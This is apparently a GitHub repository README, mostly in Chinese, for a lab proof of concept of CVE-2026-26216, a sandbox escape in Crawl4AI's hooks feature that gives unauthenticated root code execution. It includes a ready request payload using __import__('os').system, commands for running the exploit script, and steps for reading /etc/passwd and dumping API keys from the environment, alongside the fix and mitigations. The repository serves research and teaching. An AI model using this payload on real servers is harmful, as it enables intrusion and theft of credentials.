joaovicdev/EXPLOIT-CVE-2026-26216

GitHub: joaovicdev/EXPLOIT-CVE-2026-26216

该项目是 CVE-2026-26216 的实验室 PoC,复现并演示了 Crawl4AI 因 builtins 白名单遗漏 `__import__` 而导致的未授权远程代码执行漏洞。

Stars: 0 | Forks: 0

# CVE-2026-26216 — Crawl4AI 通过 `hooks` 实现的未授权 RCE (GHSA-5882-5rx9-xgxp) 这是一个**实验室 PoC**,自包含且可复现,用于安全 研究和教育目的。 ## 一句话概述漏洞 `POST /crawl` endpoint 在 `hooks.code.` 字段中接受**任意 Python 代码**。此代码通过 `exec()` 在一个“自制沙箱”——即一个受限的 builtins 字典中执行。但是,**`__import__` 被保留在了白名单中**,这使得 `__import__('os').system(...)` 成为可能,从而彻底击溃了整个沙箱。 ``` POST /crawl { "urls": ["https://example.com"], "hooks": { "code": { "on_page_context_created": "async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page" } } } ``` 由于官方部署默认**关闭 JWT**,且容器以 **root** 身份运行,其结果是实现了无需授权的 root RCE。 ### 为什么这是关于“AI 工具自制沙箱”的完美教训 沙箱*看起来*是有效的:`open`、`eval`、`exec` 已被移除,因此简单的攻击(`open('/etc/passwd')`)**会被拦截**。这制造了一种虚假的安全感。但是,只要遗漏了**一个**危险的 builtin(`__import__`),就可以导入整个标准库(`os`、`subprocess`、`socket`),白名单便形同虚设。builtins 白名单**不是**沙箱。 ## 项目结构 ``` CVE-2026-26216/ ├── README.md ├── docker-compose.yml # sobe o servidor vulnerável ├── vulnerable-app/ │ ├── Dockerfile # imagem que roda como root (igual à oficial) │ ├── requirements.txt │ ├── server.py # FastAPI: POST /crawl sem auth │ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui) └── exploit/ └── exploit.py # exploit Python (só stdlib) ``` ## 如何运行 ``` # 针对目标 docker compose up -d --build # 完整演示 python3 exploit/exploit.py --target http://localhost:11235 --demo # 任意命令 python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env" # 崩溃 docker compose down -v ``` ## exploit 演示了什么 | # | 操作 | 影响 | |---|------|---------| | 1 | 直接执行 `open('/etc/passwd')` | 被沙箱**拦截**(虚假的安全感) | | 2 | `__import__('subprocess')` + `id`/`whoami` | **以 root 身份**实现 RCE | | 3 | 通过 shell 执行 `cat /etc/passwd` | 任意文件读取 | | 4 | `env \| grep KEY` | 窃取 **API keys** / tokens | | 5 | `echo ... > /tmp/PWNED` | 任意文件写入 | 随后:渗透内部网络、窃取云凭据、建立持久化等。 ## 影响 - **机密性:** 窃取 `OPENAI_API_KEY`、内部 tokens 以及容器的 secrets。 - **完整性:** 写入/篡改文件,植入后门。 - **可用性:** 终止进程,擦除数据。 - **横向移动:** 容器通常具有内部网络访问权限 → 可作为跳板。 这一切均**无需授权**。 ## 修复方案 在 **Crawl4AI 0.8.0** 中已修复: - `__import__`(以及 `eval`/`exec`/`open`)已从允许的 builtins 中**移除**。 - Hooks **默认禁用** — 需通过 `CRAWL4AI_HOOKS_ENABLED=true` 显式开启。 **通用缓解措施:** - 升级至 `crawl4ai >= 0.8.0`。 - 切勿将 Crawl4AI 服务器直接暴露在互联网上;启用 JWT。 - 不要以 root 身份运行容器;使用非特权用户并挂载只读文件系统。 - 正确认识“builtins 白名单”的本质:**它不是沙箱**。要执行不受信任的代码,请使用真正的隔离方案(gVisor、microVM、无网络/文件系统访问权限的独立进程、seccomp)。 ## 参考信息 - [GitHub Advisory — GHSA-5882-5rx9-xgxp](https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp) - [GitHub Advisory Database](https://github.com/advisories/GHSA-5882-5rx9-xgxp) - [Corgea — CVE-2026-26216](https://corgea.com/advisories/vulnerabilities/CVE-2026-26216) - [GitLab Advisory Database](https://advisories.gitlab.com/pkg/pypi/crawl4ai/CVE-2026-26216/) - [miggo.io — GHSA-5882-5rx9-xgxp](https://www.miggo.io/vulnerability-database/cve/GHSA-5882-5rx9-xgxp) ## 免责声明 本材料仅供**授权的安全研究与教育**使用。请仅在你拥有或获得书面明确授权的系统上进行测试。
标签:AV绕过, Docker, FastAPI, Go语言工具, Python, 安全测试, 安全防御评估, 攻击性安全, 无后门, 漏洞验证PoC, 版权保护, 请求拦截, 逆向工具